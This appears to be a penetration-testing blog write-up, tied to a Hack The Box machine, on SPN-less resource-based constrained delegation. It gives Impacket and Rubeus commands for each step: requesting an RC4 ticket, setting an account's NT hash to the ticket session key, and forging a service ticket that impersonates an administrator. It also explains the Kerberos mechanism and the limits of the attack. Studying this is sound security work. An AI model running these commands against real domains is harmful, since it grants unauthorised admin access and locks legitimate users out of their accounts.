dogSPN-less RBCD

I'm seizing the opportunity since Hercules just dropped on HTB to do an exclusive on this.

The standard S4U attack (S4U2Self + S4U2Proxy) has a critical requirement: the principal we control, and which we configure in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute, must have an SPN. If we cannot add one (for example, if ms-DS-MachineAccountQuota is 0) and we haven't compromised another account that already has an SPN, the traditional RBCD attack fails.

However, it is possible to dodge this requirement by abusing another Kerberos extension: User2User (U2U).

This technique, detailed in offsecdeer's blog, replaces the need for an SPN with the user's UPN (Universal Principal Name)—something all user accounts possess.

The goal is to force a "match" between a user's TGT session key and their long-term key (their NT hash).

Attack Flow

  1. Obtain TGT (with RC4): We use over-pass-the-hash with the NT hash of the account we control (e.g., spnless) to request a TGT. It is crucial that the transaction uses RC4, as this ensures the resulting TGT session key is, itself, an NT hash format.

    getTGT.py -hashes :[NT_HASH_SPNLESS] [DOMAIN]/spnless@[DC_IP]
  2. Extract TGT Session Key: We analyse the resulting .ccache ticket to extract the session key.

describeTicket.py spnless.ccache | grep 'Ticket Session Key'

Ticket Session Key: [TGT_SESSION_KEY_AS_HASH]
  1. Change the NT Hash: Now, we use a tool (like changepasswd.py) to change our spnless account's NT hash. We set its new NT hash to be exactly the TGT session key we just extracted.

    changepasswd.py [DOMAIN]/spnless:[OLD_PASS]@[DC_IP] -newhash [TGT_SESSION_KEY_AS_HASH]
  2. Execute S4U (with U2U): With the original TGT (step 1) and the "fake" password (step 3), we execute the S4U attack, but adding the flag that forces the U2U protocol.

    Impacket:

    KRB5CCNAME=spnless.ccache getST.py -u2u -impersonate [ADMIN_USER] -spn host/[BACKEND_SERVER_1] -k -no-pass [DOMAIN]/spnless

    Rubeus:

    PS > .\Rubeus.exe s4u /u2u /user:spnless /rc4:[TGT_SESSION_KEY_AS_HASH] /impersonateuser:[ADMIN_USER] /msdsspn:host/[BACKEND_SERVER_1] /ptt
  3. Restore (Optional): If possible, attempt to revert the NT hash to the original, although domain policies might prevent this.

Why does this work?

  1. A normal TGS ticket is encrypted using the destination service's long-term key (the NT hash).

  2. A U2U ticket (designed for services without long-term keys) is encrypted using the destination service's TGT session key.

  3. The S4U2Proxy attack expects to receive a normal TGS ticket. When the KDC receives our S4U2Proxy request (which contains the U2U ticket), it attempts to decrypt it using the long-term key (NT hash) of our spnless account (which is acting as the "service" in this phase).

  4. Since in Step 3 we changed the NT hash of spnless to be identical to its TGT session key, the KDC decrypts the ticket successfully. The KDC believes it has validated a normal TGS using the user's long-term key, when in reality it has validated a U2U ticket using the TGT session key that we ourselves fed it as a hash.

The result is a valid service ticket for host/[BACKEND_SERVER_1] in the name of [ADMIN_USER].

Limitations

  • RC4 must be enabled in the domain (it usually is by default).

  • The account becomes unusable. As we change the NT hash to the TGT session key (a value for which we do not know the cleartext), the legitimate owner of the spnless account loses access.

  • Minimum password age policies may prevent reverting the NT hash to the original immediately, making the attack very noisy and destructive for the account used.

Última actualización